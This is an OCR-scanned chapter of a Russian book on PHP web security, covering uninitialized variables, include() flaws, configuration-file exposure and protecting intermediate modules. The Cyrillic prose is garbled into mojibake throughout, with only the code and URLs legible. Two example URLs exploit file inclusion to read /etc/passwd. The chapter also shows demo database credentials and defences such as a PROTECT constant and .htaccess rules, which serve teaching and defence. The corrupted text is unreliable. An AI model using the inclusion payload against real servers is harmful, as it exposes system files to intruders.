value 3HayeHue 5. Tenepb 3arpy)kaeM COXPaHEHHYIO H MOAKOPPEKTHPOBAHHYIO
Web-cTpauuuy ¢ aokansHOro aucka B Opay3ep, BbiOvpaeM MmoanpaBAeHHbIN
aneMeHT cnucka (B maHHoM ciayuyae News) u Haxxumaem kHonky Go. Hawu nog-
KOpPpEKTHpOBaHHbIE 1apaMeTphl OTNpaBnfgoTCa Ha Web-cepsep, 1 oH oTobpaxaer
3aBeTHbIN akin.

ObpaTtnte BHMMaHHE, 4TO napameTpsl dopMa nepenaeT AByMA METOOAMH ONHO-
BpPEMEHHO: POST u GET. [lapameTp where mepemaercsa mnepBbiM METOAOM, @ BOT
file mbl gobaBunu B URL, koTOpBIH yka3aH B CBOHCTBE action GOPMbI U OH Oy-
DET repeaaH METOAOM GET.

MoxHo oba napameTpa nepenasaTb METOAOM POST. Jlns 3TOro KOppeKTHpPYeM
(opMy OTrpaBk¥ JaHHbIX, KaK MOKa3aHo B ucTuHre 3.10.

<form action="http://192.168.1.5/param_post.php" method="post">

<BR>Param<input name="file" size="25">

<BR>Section<select size="1" name="where">
<option value="6">News</coption>
<option value="2">Download</option>
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<option value="3">Story</option>
<option value="4">Contacts</option>
</select>

</font>

<input type="submit" value="Go">
</ form>

Tenepbr B napaMerpe action dopmbl ykazan Tonbko URL 6e3 mapamerpa file.
A BOT BHYTpH ¢opMbI (BTOpas cTpoka) nobaBieHo none BBOAA, 3Ha4EHHE KOTOPO-
ro Syaer nepesaHo cueHapHIO B KauecTBe mapaMeTpa file, a 3HauMT, Oyaer co3-
JaHa COOTBETCTBYIOLIAasA nepeMeHHas. Pe3ynbTHpylolias NOAKOPPEKTHPOBaHHAA
dopma M 3arpykeHHas B Opaysep nokasaHa Ha puc. 3.13.

Puc. 3.13. floakoppexkTuposadHas ¢opmMa

Tako# BapHaHT MOXeT ObITb MpeanoOYTHTENbHEE, MOTOMY 4TO, 3arpy>kas CBOM
CLICHapHii, Bbl MOYKETE BBECTH B noJse 1100ylo koMaHay 6e3 BMellaTebcTBa B HC-
XOJHbIA KOJ coxpaHeHHoro daiina Web-crpanuusi.

Camoe cTpalHoe B Takoi aTake, 4TO MPOrpaMMHCT HE JyMaeT NpoBepsTb COAEp-
>KMMOE NONY4€HHbIX AAHHLIX Ha OMACHbIE CHMBOJIbI, MOTOMY YTO HMKTO HE MoAo3pe-
BAET, YTO HAa MEPEMEHHYIO CMOXET BO3AEHCTBOBaTb XaKep. A TMpOBEPATL H HE
HY>KHO, HY>KHO NMpOCTO 0043aTeNnsHO MHULMATH3UPOBATL NepeMeHHylo. [porpaM-
MHCT 00f3aH NpeaycMOTPETb BCE BO3MOXKHbIE HanpaB/ieHWS BBIMOJIICHHSA KO8
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*

U €CTH EpeMEHHas PUCKYET OCTaThCA He HHHLMANIU3HPOBAHHO#M, TO A0 €€ UCHIONb-
30BaHMA HEOOXOAUMO NMPUCBOMUTH 3HAYECHHE T10 YMOIYAHHIO,

B naHHOM cnyyae 3HaueHHe aBTOMAaTU4YECKH cO3aBaeMol nepeMerHol monapaer
B QYHKLHMIO include, a 3HAYUT, XaKep CMOXKET CHENATh BCE, O 4€M Mbl TOBOPHIIH
patee (cM. pazo. 3.1). Bece 3aBUCHT OT TOrO, KaK HACTPOEHbI NpaBa JOCTYMNA: KAKHE
daiiibl MOXKET YBHACTb XaKep U KaKHe KOMaHAbl MOXET BLIIONHATL. Ecnu 6ol 3Ta
nepeMeHHas nepeaasanack B SQL-3anpoc, To xakep nony4mn 6b1 BO3MOXKHOCTh
peanusoBath ataky "SQL-uubekuna".

Kak xakepb! HuyT nogobHoro poga oinbku? bes Hanuuua McxomaHoro Koaa Haii-
TH HENPOUHHUHATU3IUPOBAHHLIC TNEPEMEHHBIE OYEHb CJIOKHO, IIOITOMY, €CNU Ha
BaiieM Web-cepepe HCMOAb3ylIOTCS CaMOCTOATENbHO HAMHCAHHbIE CLEHAapHH,
caenaiite Tak, YToObl OHM HE MOMAIM B PYKH XaKepa. DTO 3HAUYHUT, YTO HE HYKHO
aUIIMPOBaTh IIe-TO UX KOJ, OFPaHHUYUTh AOCTYN H HE CO3/aBaTh pe3epBHbIE KO-
M4 Ha CepBepe.

[TporpaMMHCTELI O4eHb AKOOAT co3naBaTh pe3epBHbIE KOMTUH, HANPUMEP, eciy ¢aiin
HasbiBaerca index.php, TO mporpaMMHCT MOXET caenath KOIMHIO C UMEHEM in-
dex.bak unu index.old. Takue ¢alinet Web-cepsepoM He BHLIMIOAHAIOTCA U €CNH
BBecTH aapec http://servername/index.old, To xakep yBHUAMT UCXOOHBIN KOX 3a-
pe3epeupoBarHoro (aiina. Jla, ero conepKumoe MOXXeT HEMHOrO yCTapeTb, OTo-
My YTO OCHOBHOMW cLieHapuii MOXXET coaepXXaTh HOBOBBEAECHHA, HO OCTAETCA BEPO-
ATHOCTb, YTO HaHAcHHAA owHOKa MOXKET NPUCYTCTBOBAThH U B paboueli BepcHHu.

Ecau ucxoaHbiil Koo HEAOCTYIIEH, TO Xakep OyAeT nbiTaThbCA nMepefaTh 4Yepe3 BCe
HaleHHble NapaMeTpbl HenpaBHAbHble 3HA4YeHUA. Hert, 310 He nosaxeH 6bITH My-
cop, KOTOpbifi npuBeaeT k 6aHanbHON oMbKe, 3TO HOMKHBI OBITh UMEHHO Henpa-
BUAbHbIE 3HAYeHHUA. HanpuMep, ecnn nepemeHHas NOMKHA cOOep)KaTh YHCIEHHOE
3HaueHue, TO Xakep Oyaer NbITaThca nepeaaTb MakCHMaibHO 60AbLIOE YUCIIO, KO-
TOpOe, NMpY OTCYTCTBHHU IIPOBEPKH, cCLieHAapHil He o6paboTaer, BCIEGACTBUE 4ero
nepeMeHHas okaxkercs mycToi. [ToMumMO 3TOro, MOXKHO NOMBITaTLCA HE YKa3bIBATD
onpeneneHHbIe MapaMeTpsb!, BeAb MOXKET ObITh Ciiydai, KOrga NepeMeHHas B KOIe
He NPUHUMAET 3HA4YECHHSA NPH OTCYTCTBHH ONpeNeSeHHOrO napaMeTpa, Hanpumep:
if (isset ($_GET['where']}))

(

$file = ''; // Vinummanusaums

if ($_GET{'where')==1)

$file = 'mews/news.html';

)

include($file};

I3 naHHOM ciiyuyae, eciu napaMmeTp where nepedaH CUEHapHUIO, TO MNEPEMOHHAN
5tile OydeT MITHUHANH3MPOBAaHA KOPPEKTHO, HHAYE OKaxeTcs mycTol.
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Ho Bce 3TH crapanus xakepa 6yayT 6eccMbICIIEHHBI, €CJIM OH HE Y3HAeT, Kakylo
MEPEMEHHYIO HYXKHO UCNoAb30BaTh. 06 3TOM MOXET COOGLIUTL TONBKO HCXOAHBIH
kon, coobwenne o6 ownbke ot Web-cepsepa nnu 6ananbHbiit non6op. [Tonbop
3TO M3 06nacTH GaHTaCTUKH, a MEPBOTrO M BTOPOro JOCTATOMHO JIErko H36exarb,
€CAU CLICHApUHM HaIlMCaHbl camocroATeNbHO. ['naBHOe, YTOOBI 3TH CLUEHApHUH MU-
HUMabHO OoTOOpaxkanu uHdopMauuio 06 ownbkax, a coxpaHaiu 3Ty HHPOpMa-
uMio B ¢ainax xxypHana. IMenHo omin6kH MOryT coOOIHTL Xakepy MHOIO HHTE-
pecHOro, ro3ToMy jtyyiue He oTobpaXkaThb HX.

Ecnu Ha Web-cepBepe BiutioueHo oTobpaikeHue owMbok H MpeaynpexaeHHi, To
[pH ONPEAENEHHBIX YCIOBHAX MOXET MOABUTLCA coobleHne Tuna:
Notice: Undefined variable: dbname in /var/www/html/ index.php on line 2

B nanHoM ciyuae HaM coobuiaroT, 4To BO BTOPOi cTpoke Koza cueHapua index.php
ecTb HeoObABIEHHaA nepeMeHHas. BoaMoxHO, 4To oHa cogepXxuT owubky. [Toyemy
Bo3MOXkHO? Jle10 B TOM, YTO NPOTPaMMHCTHI JU1 3aLLMTBI MOTYT MNPOCTO ABHO YHHY-
TOXAThb [IEPEMEHHBIE B CAMOM Ha4ane CLEHapUs C MOMOLLbIO PYHKLIHH unset:

unset (dbname) ;

B 3TOM ciyuvae, paxke €CAM Bbl TIOMBITAETECH MEPeAaTh 3HAYCHUE NEPeMEHHOMH
dbname B BUAE MapameTpa, TO OHAa OyAeT aBTOMATHYECKU CO3JaHa U TYT XKE YHHY-
TOXKeHa B PYHKUHH unset.

Kak BUauTe, HanW4ue KOJA OYEHb XKENATEABHO 1A [MOMCKA TaKUX yA3BUMOCTeH.
YK cnUIIKOM MHOTO MOXeT ObITh "a ecnu" U O4YeHb CIOXKHO MCKATh YA3BUMOCTD,
HE 3Hasd HMEH TNEPEMEHHBIX U JIOTHKH BLINIOAHEHUSA CLEHAPHS.

3.5. NMpuHUKUN MoayNbHOCTH

Tonbko cambiii mpocToii Web-caiiT Moxxer cocroarh W3 ogHoro gaina cueHapud,
KoHeuHo, B oauH 60161101 haiin MOKHO BITMXHYTb OYEHb MHOTO, HO CTOMT JIH 3TO
aenath? ConpoBoXAaThL TakoH ClieHapuii GyaeT npoGneMaTHYHO, 42 W HA Npou3<
BOAMTENbHOCTH 3TO CKaXETCH OTPULIATEAbHO.

Hamuoro 3¢ dexkTrBHee paznenuTh nporpaMMy Ha Heckosbko 4acTtedd. Hanpumep,
KOJ pa3aena HoBocTeii noMecTuThb B ¢aitn news.php, a koA cueHapus ¢ KaTaloroM
TOBapa nomecTuTs B Gain products.php, u B 3aBucumocTu oT BbiBOpa nonb3osare-
N5 BLINOJHATB TOT WKW WHOM cueHapuii. Taxoit Web-caiiT conpoBo)kaaTh HAMHOTO
npowe. Ecnu Bl XOTHMTE BHECTH H3IMEHEHHA B NEHTY HOBOCTEH, TO COOTBETCT-
BYIOLLMIA KOJ Jierko HaitTh B HeOonbwomM ¢aiine news.php.

Ho xoraa nporpaMMa COCTOMT 43 HECKOAbkKHX (aiinoB, npy HecoONOAEHHUH Npo-
CThIX Mep 06e30MmacHOCTH MOryT BO3HHKHYTb cepbe3Hbie npobnemsl. Jlanee Mbl
paccMOTpHM 3TH Npobnembl, NpaBja, HEKOTOpble WX peuleHUs OydyT npeacrapnes
Hbl TosibkO ans PHP-cueHapues.
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3.5.1. KoHdurypauuoHHsie channsl

Korna Ha Web-cepsepe pabotaer HEKOTOpOE KOJIHUECTBO CLEHApHeB, TO BO3HHUKa-
€T CHTyalLlUf, KOTJa HECKOJIbKHM H3 HUX TpeOyeTcs AocTyn K OOHOMY pecypcey.
Hanpumep, ecau Bbl Ucrmonb3yeTe 6a3y AAHHLIX, TO MJIA MONYYEHUA IIOCIEHHMX
HOBOCTeH HeoOxoAuMo cHauana nomwnouutbed kK CYBI. Yrobbi mosyuuts HH-
¢opmauuio o BeIOpaHHOM npoaykTe U oTobpasuth ee Ha Web-cTpanuue, Heobxo-
AUMO TaKKe MOAKMIOUYHTBCA K 6a3e maHHBIX. A 114 MOAKITIOYEHHS K Hel HeoOxo-
oumbl: aapec CYBJL, rae oHa pacronoxeHna (eclid OHa pacriofioKeHa Ha APYrom
KOMITLIOTEPE), UMA MOAL30BATENA, [1APOAb U UMA camoii 6a3bl JaHHBIX.

Xpauuth pasaensemMytd HHQOPMALMIO B KXAOM (paiine CUEHapHA HEBBINOAHO.
JlonmycTHM, 4TO Xakep y3Hal Mapoib AocTyna K 6a3e maHHbIX, U B 3TOM Cliyuae
NPHOETCA €ro U3MEHWUTb, a4 MOTOM IMOAKOPPEKTHPOBaTh BCE (Palibl cueHapHes,
MHAYE OHH HE CMOTYT NOAKIKOUYHTLCA K Heli. DTO YTOMHUTENbHOE 3aHATHE, NI03TOMY
pazzenseMyio MHQOpPMaUHIO JTy4ile XpaHHTb B OOHOM MecTe.

[ne xpanuTh pazaenseMyro uHpopmauuo? JIns 3THX UeseH MOXKHO UCITOAb3OBATh
npocToii TEKCTOBBIA (aitn ¥ NOAKIYaTh €ro ¢ NoMoublo (PYHKUMH include,
Bedb BCE MOAKNIOYaeMble ¢aiinbl BLIMONHAITCA, Kak OyATro B HUX ecTb PHP-koA.
M BOT TYT BO3HHUKAeT O4eHb cepbe3Hasd npobnema. leno B TOM, YTO MHOrUE MpoO-
rpaMMHCTH JIO0AT JaBaTth (aiinam, XpaHALIUMM KOH(QHUIYpauMIo, paciliipeHuns THIa
.dat unu .cfg. 210 cepbesHas ownbKa.

HomycTUM, YTO Bbl COXpaHHUAHW mapaMeTpbi B Qaiine config.dat. Ecan obpaturbca
K 3TOMY Qaiiny HanpsaMyto U3 Opay3epa, To Web-cepsep O3BOAUT M107b30BATENIO
YBUAETh COAepKUMOe (aiina, a ey TaM Mapoau Aoctyna kK 6ase gaHHbIX, TO MO-
XeTe CYHTaTh, 4T0 6a3a JaHHBIX MOTepAHA A4 Bac.

Kak »xe Toraa xpaHuTth pasaenseMbie napamerpni? Jla oueHb NpocTo, HyXHO ¢aii-
nam patb pacwupende PHP. B stom cnyvyae Web-cepsep Oynmer ux BbINOAHATS,
Y €C/IH Bbl CAMH HE HanuilleTe KOAA, NOKA3bIBAIOLIETO CKPbIThIE JAHHbIE, TO XaKep
Hu4ero He yBUIMT. BTopoii cnocob Toxe He cnoxHbIl: c03/1aTh MpaBUsa OOCTYMNa
k ¢aiiny ¢ nomowsto .htaccess. I[lpocto 3anperutb yaaneuHsi#i noctyn k (aiiny
H Xakep, MOAKMIOYEHHBIH YAAIEeHHO, HE CMOXKET NPOCMOTPETh €ro, 3aTOo Ballly clie-
11apuH, Haxoadaumecs Ha Web-cepsepe, JIOKanbHO CMOTYT €ro HCNoL30BaTh.

JlaBaiiTe paccMOTpHM BbilleCKa3aHHOE Ha npumepe:
<?

Sdbname = 'MyDatabase’;

$dbusername = 'piter’';

Sdbpass = 'gwerty';

P>
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Ecnu o5t pausble Oyayr B ¢Qaiine config.dat, 710, HaGpas URL
http://server/config.dat, xakep yBuauT conepxumoe ¢aiina. Ho ecan pacuupe-
uue 6yner .php, To Web-cepep nmonbiTaercsa BbINOAHKTD €ro, a T. K. 3[€Ch Koja
KaK TAKOBOTO HET, TONbKO OOBABICHWE IIEPEMEHHBIX, 3HAYUT, pedyabraToM Oyner
npocTo mycras Web-cTpaHHLa U Xakep HHYEro He YBHAUT. Tak YTo JAy4ilie XpaHHUTh
koHurypauuto B ¢aitne config.php wnu options.php. Uro6el HcrmonbL30BaTh 3TOT
¢aitn, JOCTATOUHO €ro MOAKMIOYKTD C IOMOLUBIO PYHKUMH include (AucTuHr 3.11).

<?

// 3mech nepeMeHHHe elle He CYUWECTBYKT

print ("<P><B>Database name:</B> $dbname");

print ("<P><B>Database user name:</B> $dbusername”);
print (*<P><B>Database password:</B> Sdbpass");

// Nonwmnouaem ¢ain
include("options.php");

// A 3mech nepeMeHHHe yXe CYUecCTBYKT

print ("<P><B>Database name:</B> $dbname");

print ("<P><B>Database user name:</B> S$dbusername");
print ("<P><B>Database password:</B> $dbpass");

>

[lepemMeHHbIE C MX 3HAYEHHWAMH, NPOMHCAHHBLIMH B (daiine KoHPUrypauun, 6yayT
AOCTYMHbI TOMLKO MOCNE MOAKIIOYEHHS U He paHee. B pedynabTaTe BLIMOMHEHHS
3TOTO Koaa

Notice: Undefined variable: dbname in /var/www/html/options/index.php on
line 2

Database name:

Notice: Undefined variable: dbusername in /var/www/html/options/index.php
on line 3

Database user name:

Notice: Undefined variable: dbpass in /var/www/html/options/index.php on
line 4 )

Database password:

Database name: MyDatabase
Database user name: piter
Database password: gwerty
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Ho nonwmouenus daiina ¢ ONUUAMH MepeMeHHbie $dbname, $dbusername
U $dbpass HE CYIIECTBYIOT, MO3TOMY NpH 06palEeHHH K HUM Mbl YBHIAERH COOT-
BeTCTBYIOWMHEe coobwenua. [locne momwnouyeHus owUOOK y)Ke HET U BCe Inepe-
MEHHbLIE KOPPEKTHO 3aII0/THEHD.

Eciu ecTb BO3MOXHOCTB, TO KOHOHIrypaUHOHHbIE (aiinbl Jiyulue BbIHECTH 3a Mpe-
AenAbl KOpHA AUPEKTOpUM, AocTynHOH yepes Web. Hanpumep, ecnu kopeHb Battie-
ro Web-caiita Ha aucke /home/lisername/www/html, To 4OCTAaTOMHO MOJOMXHTL
dain B nupexkTopuio /home/username/www/, H xakep y)K€ HE CMOXET HaMpAMYIO
o6patuthea k Hemy. Ho ecniu BBl Monb3yeTeCh yCIyraMu CTOPOHHETO mpoBaiinepa,
TO C/IeAYeT y4eCThb, YTO HE KaXAbIH JAeT AOCTYN K AMPEKTOpUAM BHe kopHA Web-
caiita. OueHb 4acTo Bbilue yYpoBHA /home/username/www/html Bbl noAHATBLCA He
CMOXKeETe.

Paciuupexue .php gonxHo 6bITh He TOALKO Y KOH(UrypauuoHHsix ¢aiiios. [1po-
MEXYTOUYHbIe (pailabl, KoTopbie Mbl OyaeM paccmaTpuBaTh Aanee (cm. paso. 3.5.2),
TaKkKe AOMKHBI HMeTh Takoe pacwiupenue. JI1060i ¢aitn, koTopbIii conepKHUT Koa
WK O0BABACHHUA MTEPEMEHHBIX, J0MKeH ObITh 3aLUMLLIEH Y 3aKPLIT OT MPOCMOTpA.

Hanpumep, ans noaxmoyaembix ¢aisioB ¢ KOAOM, KOTOPbIE HE BhI3LIBAIOTCA MOAb-
30BaTeneM Hanpamyio, a TONLKO UCMOAL3YIOTCA APYrMMH CUEHAPUAMH, NporpaM-
MHCTBI O4€Hb 4acTO BbIOHUpAIOT pacuivpenus .dat unu .inc. 310 cepbe3Has OWHO-
Ka, [OTOMY 4TO FpH NpAMOM obpaleHyu copepxumoe ¢aiina Oyaer OTKpLITO
xaxepy. Ecnu pacuiupenue Oyaer .php, To kox cueHapus HUKOTIA He OTKpoOeTcs
XaKepy, YTO 3HAYUTEAbHO YCAOXKHUT NMOUCK OLIHOOK.

3.5.2. NpoMexyToyHble Moaynu

IlexoTopbie QyHKUUH HCMONB3YIOTCA B HECKONBKUX ClieHapUAX, NO3TOMY HX OY€Hb
YacTO BBIHOCAT B OTAENbHbIE MOAYAY WM NOTOM MOAKIIOHAIOT TOYHO TaK JKe, Kak
U KoHurypauuoHssle ¢ainbl. OTnruue 3TUX GailioB B TOM, 4TO OHH COOEPHKAT HE
1IPOCTO 00 BABNEHWE NEPEMEHHBIX, a KO, KOTOpbIH BbiNONHAeTca Web-cepBepoM.

JlaBaiiTe paccMOTpPHM KIaCCHYECKYIO 3aJady CO3JaHUA YHHUBEDPCAILHOTO KO
clleHapHa, KoTopbiii MoxeT dopmuposate Web-cTpaHuly ¢ pasHbiM 0QOPMACHH-
¢M. OcHOBHaa 3aja4ya HanucaTh CUEHapuid Tak, 4yToObl Ang cMeHbl odopmiieHUs
HPUXOAUNOCH BLIIONHUTL MHUHUMYM Yycunwuii. Jlasaiite pasobGbem cueHapuil Ha
HECKONbKO yacTed. [Ing Hayana nocMoTpuM Ha KOHQHUIypauHoHHbIH dain:
o P

Spagetop = './template/top.htm';

“pagebottom = './template/bottom.htm';
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Ity HHPOpMALMIO MbI cOXpPaHUM B (aiine options.php. 3aech Bcero aee nepeMeH-
HbIX, HO OHU OMPEACAAIOT MONOKEHHE LaTKyY U noAsana Web-ctpaHuubl. YTo6bs
H3MEHHTb BHEIUHWHA BUA Web-CTpaHUUbI, JOCTATOYHO TOJbKO IMOMEHATbH 3TH Ma-
paMeTphbi, YTOObI OHM YKA3bIBAJIK HA HOBYIO LUAMNKY WIK TOABAJ.

Ho ecnu 3tu daitnbl moakniovaTh HanpsMyK B Ka)KAOM CLEHApHH, TO B cly4ae
CMEHBbI [qU3aiiHa Mbl CMOXXEM H3MEHUTH TOMBKO BHEIUHHH BHO Web-cTpaHuULb,
HO He JIOTHKY ee co3zaHuia. [lostoMy manky Web-cTpaHuubl noMecTHM B (aiin
maketop.php, a noasan B makebottom.php. [laBaiiTe paccMOTpHM IpHMEpHOE CO-
aepxumoe 3Tux ¢ainos. [lna vavyana daiin maketop.php:
<?

// 3pmechk noruka, HeoOXOmMMMAA RO [OOKMOYEHMA WANKHA

include ($pagetop) ;

// 3mech normka, HeoOXOmMMAS NOCJE MNOIKJHOYEHUS WAaMNKM

?>

A Tenepb MNOCMOTPMM Ha ¢aitn makebottom.php:

<?
// 3pech noruxa, HeoBXOIMMAA OO MOOKLIOYEHUS WaNKM
include ($pagebottam) ;

// 3mecp noruka, HeoOxommMMas nocsfie NOOKIMOYEHMS WankM

?>

Bce noaroroButeAbHbiE OEHCTBUA BBINOAHEHbI, ¥ MOXHO YX€ MOCMOTPETHL Ha,
wabaoH kaxcaoro cueHapus HaWeb-cepsepe:
<?

include ("options.php"};

include ("maketop.php");

// Here you must place body creation code

include ( "makebottom.php") ;

?>

Cxavyana nogxntoyaetca aitn ¢ onuuamu, Kotopble OyayT HCnonb3oBaTbC ANH
noakmoucuua Gainos wanku v nogasana. [locne 3toro nopxnoyaercs dain gop-
MHPOBAHHWA WIANKH, WAET KOA CO3JaHMA OCHOBHOH 4acTH Web-cTpaHHUbI H, KO-
HeuHo ¢, ¢aiin Gpopmuposanua noasana. Jonyctum, 4yto 31oT wWabloH MbI CO-
xpanunu B (haine index.php. Ha puc. 3.14 nokazan npumep chopmupoBaHHoH
TakuM obpazom Web-cTpanuusl. Ham poctatouHo Tonbko aobanmin s wmabnoH
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KO, KOTOpbIH COPMHpYET LEHTPalbHYIO 4acTb, KOTOpas W3MEHSETCH, a HEeH3-
MeHHas ans scero Web-caiira wanka 1 noasan OyayT NoAKIIOHMEHDI.

oH

Puc. 3.14. Web-cTpanuua, copmupopanHan ¢ nomowbio wabnoxa

Ha nepBuifi B3rnaa, wabnoH 6e3onaced. Jaxe ecnu xakep noneitTaerca nepeaatb
CLIEHapHIO NapaMeTp C HMEHEM S$pagetop, TO OH OyleT 3aMeHeH KOPPEKTHLIM 3Ha-
MCHHEM MpH noAkiadyYeHHH daina options.php. A 4To ecnu nons3oBarens Oyaer
obpawateca Hanpamyto K ¢a#ny maketop.php uau makebottom.php? B atom cny-
Yac nepeMeHHble $pagetop M $pagebottom CYLLECTBOBaTb He OyAyT, a 3HAuMT,
CCJIW NEepEMEHHBIE U1 NepeJaBaeMblX MapaMeTpoB CO3AAIOTCA aBTOMATHUYECKHU, TO
HbI CMOXKETE HCTO/IB30BATH YA3BUMOCTh NOAKAOUaeMbIX Paiinos. Hanpumep, cne-
nytownii npumep URL noaknrouaer daiin ¢ umMenamu nons3osatreneii /etc/passwd:
http://servername/maketop.php?pagetop=/etc/passwd. To xe caMoe MOXHO
cicnate W uvepes cueHapudi  dopmupoBanus noasana  Web-crpannumn:
http://servername/makebottom.php?pagebottom=/etc/passwd.
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Camoe omacHoe B 3TOM, YTO IIPOrPaMMUCT HAIACETCA, YTO 3TH NapaMeTpb! MOb30-
BaTeJib HE CMOXET YBHAETD, U BO3ACHCTBOBATbh HA HUX, A 3HAYUHT, OHH He TpebyloT
MPOBEPKU. A MPOBEPKH W HE HY)KHBI, HaAO MPOCTO ACHCTBUTENLHO 3aNPETHTH H3-
MEHEHHE MepeMeHHbIX. B laHHOM ciiyyae AJis 3Toro Heo6X0AUMO 3anpeTUTh Npa-
MO# BbI30B NPOMEXYTOUHbIX (aitnos, KOTOpPbIE COAEPIKAT KOA.

Campifi mpoctefiiunii cnoco6 3amuThl: B (aitnax, KOTopbie JOMKHBI BbI3bIBATHCH
HanpAMYH0, O6bABUTD KaKyIO-TO KOHCTAHTY, HalnpuMep, B clieXyloweM Koae wab-
noHa B caMOM Hauane Web-crpaHuuel oObABNSETCS KOHCTaHTa PROTECT, paBHas
eAuHHLUE:

<?

define('PROTECT', 1);

include("options.php"};

include ("maketop.php");

// 3meck nomxeH OHTL Koo UeHTpanbHoi uactu Web-crpaHuLu

include ("makebottom.php");

>

Tenepsb B KaKAOM NPOMEXKYTOUHOM (paiiie JOCTATOYHO NPOBEPHTD, €CTH KOHCTaH-
Ta HE CYLIECTBYET, TO HAaHHBIH CLEHapUd He Moawnovaercs U3 iwabnoHa,
a BbI3biBaeTCA uepes crpoky URL:
<?
if (!defined('PROTECT'))
die('Do not crack my site please');

include(Spagetop) ;

>

Teneps, ecnn Hanpamylo obpatuteca k ¢ainy maketop.php, To Bl yBHAMTE Ha
Web-crpanuue npock6y He BanambiBaTh 3ToT Web-caiiT: "Do not crack my site
please".

BoT Takas mpocTas 3aliMTa MO3BOJIAET 3aUIMTHTLCA OT BbI30BA NMPOMEKYTOUHBIX
daiinos Hanpamyio. [lpu aTomM abGCoOMOTHO HE HYKHO MpPOBEPATH MEPEMEHHbIE,
Belb Tenepb Nojb3oBaTeNib HE CMOXET Ha HUX BO34eHCTBOBATS.

HexoTopbie NMporpaMMHUCTh! MPEANOYHTAIOT 3aBOAMTL AN 3THUX Lefed MpocTyio
NepeMeHHYI0 H NIPHCBaUBaThL el onpeaeneHHoe 3HauyeHne. CMbICT TOT XKe caMbii,
TONBKO BMECTO KOHCTAHTH! HCNONbL3yeTcs nepeMerHas. Crocob xopowuii u Gyner
paboTaTh, HO TONLKO €C/iM 3anpelleHa aBTOMaTHYECKas perucTpaLua nepeMeHHbIX
LIS fiepeaBacMbiX FlapaMeTPOB WK XaKep He 3HaeT HCXOQHOTro KoJa.
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Crenytomuii cnoco6 3anpera npaMoro JocTyna K cUeHapusM yxe Jo/bkeH ObiTh
BaM u3BecTeH (cM. pa30. 3.4): 1 UMel0 B BUAy Ucnonb3oBaHWe (aiina .htaccess.
Tak kak Heo6XOAHWMO 3aMpeTHThL NPAMOH BBI30B CLEHAPHA M3BHE, TO 3TO JIEI'KO
peanu3oBaTh C MOMOLIbIO ITpaB JOCTYIIA.

Uro Bbibpath — .htaccess uau koHcTauThl? S mpeanouuTard McmonabloBarh 06a
BapMaHTa W HHoraa paxe oxHoBpeMeHHo. [louemy? Ilotomy uro 06a Meropa
UMEIOT CBOH HEAOCTATKH, KOTOPBIE Bbl JOMKHbI 3HATD!

O ecna¥ KCIONB30BaTh KOHCTAHTHI, TO MOXXET BO3HHKHYTb CHTYalLUs, KOTHa Bbl
npocto 3abynere caenaTh HEOOXOAUMYIO IIPOBEPKY, H Paitn cTaHeT JOCTYIHBIM
ans npamoro obpawenus yepes URL. Bee Mb AlOOM, BCE Mbl HHOTAA YITyCKAEM
YTO-TO U3 BUAY WiM OaHanbHO 3a0biBaeM caenarhb;

O MOXXHO NMpPONHUCHIBaTh KaKabiih (aiin B 0OTaAENBHOCTH B .htaccess, HO BbI TaKKe
MoxkeTe 3a0bITh caenaTh 3TO And ONpeneaeHHoro ¢aina;

O MOXHO CO31aTb OTAC/AbHYIO AUPEKTOPHIO, 3aMPETUTDL NPAMOHR JoCTYynN K daiinam
B 3TOH QUPEKTOPHH U3BHE M CKJIAAbIBAThL CIOJA BCE MPOMEXKYTOUYHBIE MOAYJIH.
Ho TyT MOXeT BO3HUKHYTB ClieAylollas CHTyauus: oguH ¢ain noHagoburcs B
Apyrom MecTe ¢ MHHHMAaNbHBIMH H3MEHEHUAMH, BB CO31a€TE KONUIO B APYroi
JHPEKTOpHH, BHOCUTE U3MEHEHHA U MoJy4YaeTe YA3BUMOCTb, NIOTOMY YTO B HO-
BO# IMPEKTOpHH MOKET H He ObITh 3auIuThl yepes daiin .htaccess.

MMeHHO no3TOMY 4 CTapaloCh MCMONAbL30BaTh 00a METOAA 3aLUThl ONHOBPEMEHHO.
[TpomesxyTouHble MOAYNH, KOTOpbIE HE JOAXKHbLI BbI3bIBATLCA HANpPAMYIO, A CK/Ia-
AbIBAI0 B OTAEABHYIO OMpekTOpHio Ha Web-cepBepe, 3alHleHHYIO QaitioM
htaccess, ¥ MCNONB3yKO KOHCTAHTY, KOTOpas rapaHTHpyeT, YTO NpH NepeHoce daii-
Na JocTyn K HeMy Bce paBHO OyaeT orpaHuue.

HaiiTi npoMexxyTouHbie MOOYAH AOCTATOUYHO CIOXKHO, €C/IH Bb! HE HMEeTe Aaxe
MaseHero npeacraBaeHus 06 HCXOAHOM KOAE nporpammbl. Bo3MOXKHO, HMEHHO
Ha 3TO HAAEIOTCA MPOrPaMMMUCTHI, KOFAA MHWYT CUEHApHH ANf ONPEacACHHOro
Web-caiita. Pa3 sTot koa Hurae 6onblue He OyaeT HCIIOAL30BaTLCA U €TI0 HUKTO He
YBHIIMT, 3HA4YHT He CTOMT oOpawiaTe BHHMaHHA Ha Takue menouu. Ho ato cepbes-
Hag owubxa. EcTe MHOro cnyudaes, KOrj1la UCXO4Hble KOJAbl YXOAWIH U3 AOCTATOM-
110 3alllMLIEHHBIX KOMMNaH!it, HanpuMep, Obi1 NoaoOHbIN cayvail ¢ WHTEANeKTy-
alibHOM cobcTBeHHocThiO Microsoft, o koTopoM HacnbiwaH Becb MUP. A eciH
XAKEP 3a4acTCA HEAbIO YKPAcTb UCXOAHBIE KOAbl y HEOOAbIUON KOMIIAHHK WAM
IIPOr paMMHUCTA-OAHHOUYKH, TO BIIOJIHE BO3MOXKHO, YTO Y HErO 3TO NOJYUYHTCA.

3.5.3. CkpbIiTble hyHKLUMN

HMilorna ObiBaeT HeobxoaumocTe co3maTh Ha Web-caiiTe ¢yHkUMIO, xOoTOpas HE
nomkia obiTe noctynHa Bcem, Hanpumep, Ha dopyme MoxeT ObiTh BOIMOXKIIOCTD
yHUpaBJIeHHs COOOIIEHUAMM U CChUIKH Ha CLEHAPHH, KOTOPhIE MUCIIONL3YIOTCH JUIN
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aIMHHHCTPUPOBAHHA, MOTYT ObITb CKPBITHI -OT MOCTOpPOHHEro Barasaga. Ho eciu
XaKep CMOXeET Y3HaTh 3TH CCbIIKH ¥ OOpaTUTBCA K HUM HANPAMYIO, TO €CAH TpH
BbI30BE 3THX (QYHKUHHA HET ayTeHTH(HKALMH, TO XaKep MOJYYHT CKPHITHIE BO3-
MOXCHOCTH,

